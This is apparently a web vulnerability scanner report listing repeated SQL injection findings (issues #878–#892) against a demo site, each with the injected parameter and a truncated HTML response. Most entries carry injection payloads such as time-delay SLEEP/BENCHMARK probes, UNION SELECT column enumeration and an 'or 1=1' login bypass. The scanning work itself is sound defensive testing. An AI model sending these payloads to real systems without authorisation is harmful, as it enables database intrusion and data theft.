AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #878
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A'
)),4,5,6,7,8,9--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #879
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io UNION ALL SELECT 
1,2,3,4,5,6,7,8,9,10,11,12
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #880
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioAND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+
CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR
(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(
116)+CHAR(69)+CHAR(65)+CHAR(113)+CHAR(112)))
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #881
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io UNION ALL SELECT 'INJ'||'ECT'||'XXX'#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCgAQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #882
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io ORDER BY 1,SLEEP(5)#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #883
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io ') or benchmark(10000000,MD5(1))#ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #884
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioORDER BY 27#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.ioCWE-ID CWE-89
Issue Number #885
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioORDER BY 3--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #886
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.io-2
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #887
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioadmin" or 1=1--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #888Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioUNION ALL SELECT 
1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #889
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.io'\"
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #890
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),
4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #891
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),
4,5,6,7,8,9,10,11,12,13,14,15,16--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #892
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioORDER BY 1#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
